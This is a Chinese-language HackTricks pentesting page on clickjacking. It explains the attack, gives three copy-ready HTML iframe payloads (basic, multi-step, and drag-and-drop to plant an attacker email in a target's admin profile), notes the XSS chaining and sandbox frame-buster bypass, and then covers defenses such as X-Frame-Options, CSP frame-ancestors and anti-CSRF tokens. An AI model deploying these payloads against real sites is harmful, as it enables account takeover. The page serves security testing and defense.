hacktricks/pentesting-web/clickjacking.md

225 lines
10 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 点击劫持
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)可以轻松构建和**自动化工作流程**,使用世界上**最先进**的社区工具。\
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## 什么是点击劫持
在点击劫持攻击中,**用户**被**欺骗**点击网页上的一个**元素**,该元素要么是**不可见的**,要么伪装成另一个元素。这种操纵可能会对用户造成意外后果,如下载恶意软件,重定向到恶意网页,提供凭据或敏感信息,转账,或在线购买产品。
### 预填表单技巧
有时可以在加载页面时使用GET参数**填充表单字段的值**。攻击者可能会滥用这种行为,填充表单中的任意数据并发送点击劫持有效负载,以便用户按下提交按钮。
### 使用拖放填充表单
如果您需要用户**填写表单**,但又不想直接要求他输入某些特定信息(比如您知道的电子邮件或特定密码),您可以要求他**拖放**某些内容,以便写入您控制的数据,就像[**这个示例**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/)中所示。
### 基本有效负载
```markup
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
```
### 多步骤有效载荷
```markup
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
```
### 拖放 + 点击有效载荷
```markup
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
```
### XSS + Clickjacking
如果您已经确定了一个需要用户点击某个元素来触发 XSS 攻击的情况,并且页面容易受到点击劫持攻击,您可以利用这一点来欺骗用户点击按钮/链接。\
示例:\
_您发现账户私人详细信息中存在自身 XSS只有您可以设置和读取的详细信息。用于设置这些详细信息的页面容易受到点击劫持攻击您可以使用 GET 参数预填充表单。_\
\_\_攻击者可以准备一个点击劫持攻击到该页面使用 XSS 负载预填充表单,并欺骗用户提交表单。因此,当表单提交且值被修改时,用户将执行 XSS。
## 减轻 Clickjacking 的策略
### 客户端防御
在客户端执行的脚本可以执行操作以防止点击劫持:
* 确保应用程序窗口是主窗口或顶层窗口。
* 使所有框架可见。
* 防止在不可见框架上点击。
* 检测并警告用户可能的点击劫持尝试。
然而,这些破坏框架的脚本可能会被规避:
* **浏览器的安全设置:** 一些浏览器可能会根据其安全设置或缺乏 JavaScript 支持来阻止这些脚本。
* **HTML5 iframe `sandbox` 属性:** 攻击者可以通过设置 `sandbox` 属性为 `allow-forms``allow-scripts` 而不包括 `allow-top-navigation` 值来中和破坏框架脚本。这会阻止 iframe 验证是否为顶层窗口,例如,
```html
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
```
### 服务器端防御
#### X-Frame-Options
**`X-Frame-Options` HTTP响应头** 通知浏览器有关在 `<frame>``<iframe>` 中呈现页面的合法性,有助于防止点击劫持:
- `X-Frame-Options: deny` - 没有域可以嵌入内容。
- `X-Frame-Options: sameorigin` - 只有当前站点可以嵌入内容。
- `X-Frame-Options: allow-from https://trusted.com` - 只有指定的 'uri' 可以嵌入页面。
- 请注意限制如果浏览器不支持此指令则可能无效。一些浏览器更喜欢CSP frame-ancestors指令。
#### 内容安全策略CSPframe-ancestors指令
**CSP中的`frame-ancestors`指令** 是防止点击劫持的建议方法:
- `frame-ancestors 'none'` - 类似于 `X-Frame-Options: deny`
- `frame-ancestors 'self'` - 类似于 `X-Frame-Options: sameorigin`
- `frame-ancestors trusted.com` - 类似于 `X-Frame-Options: allow-from`
例如以下CSP仅允许来自相同域的嵌入
`Content-Security-Policy: frame-ancestors 'self';`
有关更多详细信息和复杂示例,请参阅[frame-ancestors CSP文档](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors)和[Mozilla的CSP frame-ancestors文档](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors)。
### 内容安全策略CSP与`child-src`和`frame-src`
**内容安全策略CSP** 是一项安全措施,通过指定浏览器应允许加载内容的来源,有助于防止点击劫持和其他代码注入攻击。
#### `frame-src`指令
- 定义帧的有效来源。
- 比`default-src`指令更具体。
```
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
```
这个策略允许来自相同源self和https://trusted-website.com 的框架。
#### `child-src` 指令
* 在 CSP 等级 2 中引入,用于设置 Web Workers 和框架的有效来源。
* 作为 frame-src 和 worker-src 的后备。
```
Content-Security-Policy: child-src 'self' https://trusted-website.com;
```
这个策略允许来自相同源self和https://trusted-website.com 的框架和工作者。
**使用注意事项:**
* 弃用: child-src 正在逐步被 frame-src 和 worker-src 取代。
* 回退行为: 如果 frame-src 不存在,则用 child-src 作为框架的回退。如果两者都不存在,则使用 default-src。
* 严格的源定义: 在指令中只包含可信任的来源以防止被利用。
#### JavaScript 窗口破坏脚本
尽管不是完全可靠,基于 JavaScript 的窗口破坏脚本可用于防止网页被嵌入。示例:
```javascript
if (top !== self) {
top.location = self.location;
}
```
#### 使用反CSRF令牌
* **令牌验证:** 在Web应用程序中使用反CSRF令牌以确保状态更改请求是由用户有意进行的而不是通过Clickjacked页面。
## 参考资料
* [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking\_Defense\_Cheat\_Sheet.html)
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)轻松构建和**自动化工作流程**,由全球**最先进**的社区工具驱动。\
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
支持HackTricks的其他方式
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFT**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**上关注**我们。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>